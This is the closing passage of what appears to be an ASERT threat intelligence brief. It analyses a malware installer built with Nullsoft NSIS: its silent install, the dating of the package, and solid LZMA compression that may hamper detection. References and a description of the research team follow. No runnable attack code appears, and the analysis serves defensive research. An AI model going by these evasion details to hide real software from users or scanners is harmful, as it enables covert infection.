, ; UNREFERENCED STRINGS: /\* 1 ProgramFilesDir 17 CommonFilesDir 32 "C:\Program Files" 49 \$PROGRAMFILES 53 "\$PROGRAMFILES 53 "\$PROGRAMFILES \*/

Several interesting elements inside this script stand out. In particular, we see "SilentInstall silent" which likely makes for an installation of the malware that provides no notification to the user. We see that threat actors have used Nullsoft Install System v3.0b2, which was released on August 5, 2015 and provides for Windows 10 installation support [http://sourceforge.net/p/nsis/news/2015/08/nsis-30b2-released/]. Therefore, we can know that at least this package was designed after August 5, 2015. We can see from the config that the LZMA compression option is used (SetCompressor/SOLID lzma) which apparently provides for higher compression rates. The /SOLID option compresses all of the installer data into one block, resulting in greater compression ratios (and potentially further complicating static analysis and detection routines).

#### References

- 1. <u>https://asert.arbornetworks.com/defending-the-white-elephant/</u>
- 2. <u>http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of-myanmars-website/</u>
- 3. <u>https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/</u>
- <u>http://pages.arbornetworks.com/rs/082-KNA-</u> 087/images/ASERT%20Threat%20Intelligence%20Brief%202015-05%20PlugX%20Threat%20Activity%20in%20Myanmar.pdf
- 5. <u>http://about-threats.trendmicro.com/cloud-content/us/ent-primers/pdf/2q-report-on-targeted-attack-campaigns.pdf</u>
- 6. <u>http://webcache.googleusercontent.com/search?q=cache:yZN1nJdkDD0J: www.ilovematlab.cn/space-uid-896373.html+&cd=11&hl=en&ct=clnk&gl=us</u>

#### About ASERT

The Arbor Security Engineering & Response Team (ASERT) at Arbor Networks delivers world-class network security research and analysis for the benefit of today's enterprise and network operators. ASERT engineers and researchers are part of an elite group of institutions that are referred to as "super remediators," and represent the best in information security. This is a reflection of having both visibility and remediation capabilities at a majority of service provider networks globally.

ASERT shares operationally viable intelligence with hundreds of international Computer Emergency Response Teams (CERTs) and with thousands of network operators via intelligence briefs and security content feeds. ASERT also operates the world1s largest distributed honeynet, actively monitoring Internet threats around the clock and around the globe via ATLAS<sup>®</sup>, Arbor's global network of sensors: http://atlas.arbor.net. This mission and the associated resources that Arbor Networks brings to bear to the problem of global Internet security is an impetus for innovation and research.

To view the latest research, news, and trends from Arbor, ASERT and the information security community at large, visit our Threat Portal at <u>http://www.arbornetworks.com/threats/</u>.